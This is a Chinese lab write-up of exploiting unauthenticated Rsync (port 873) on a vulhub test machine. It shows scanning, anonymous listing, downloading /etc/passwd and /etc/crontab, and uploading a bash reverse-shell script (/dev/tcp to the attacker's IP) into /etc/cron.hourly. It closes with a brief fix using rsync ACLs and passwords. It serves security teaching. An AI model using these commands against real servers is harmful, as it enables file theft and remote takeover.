1.漏洞名称
Rsync 未授权访问漏洞
2.漏洞原理
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。
3.漏洞利用
vulhub环境靶机 : 192.168.91.130
攻击机:kali 192.168.91.128
一、环境搭建
vulhub环境搭建
在纯净ubuntu中部署vulhub环境:
1、安装docker,并用docker -v命令验证安装结果;
curl -s https://get.docker.com/ | sh
- 1
2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip
- 1
3、安装docker-compose,并用docker-compose -v验证安装结果
pip install docker-compose
- 1
4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立
- 1
- 2
sudo docker-compose up
- 1
二、Rsync非授权访问
可以对目标服务器进行扫描:
nmap -p 873 192.168.91.130
- 1
扫描结果:
Rsync非授权访问利用
查看模块名列表:
rsync rsync://192.168.91.130:873/
- 1
查看src模块
rsync rsync://192.168.91.130:873/src
- 1
结果如下:
可以看到目标机器的目录已经被列举出来了:
利用方法
下载文件
rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt
- 1
执行结果:
上传文件反弹shell
查看crontab配置文件:
rsync rsync://192.168.91.130/src/etc/crontab
- 1
下载crontab配置文件:
rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt
- 1
查看其内容:
其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
- 1
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
shell 写法如下:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
- 1
- 2
赋予执行权限:
chmod +x shell
- 1
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
- 1
本地监听:
nc -nvv -lp 4444
- 1
实验可以自己去修改/etc/crontab配置文件
查看docker容器 ID
docker ps
- 1
进入docker
sudo docker exec -it a6cb5e784225 bash
- 1
打开/etc/crontab配置文件(vim自己安装。。)
vim /etc/crontab
- 1
把时间修改成自己想要的就好
等待时间的到来即可。成功反弹shell
4.漏洞修复
vim /etc/rsync.conf
写入以下代码
hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd
新建一个文件
vim /etc/rsyncd.passwd
- 1
按一下格式写入能登陆的用户名和密码
username :password
- 1
就ok
</div>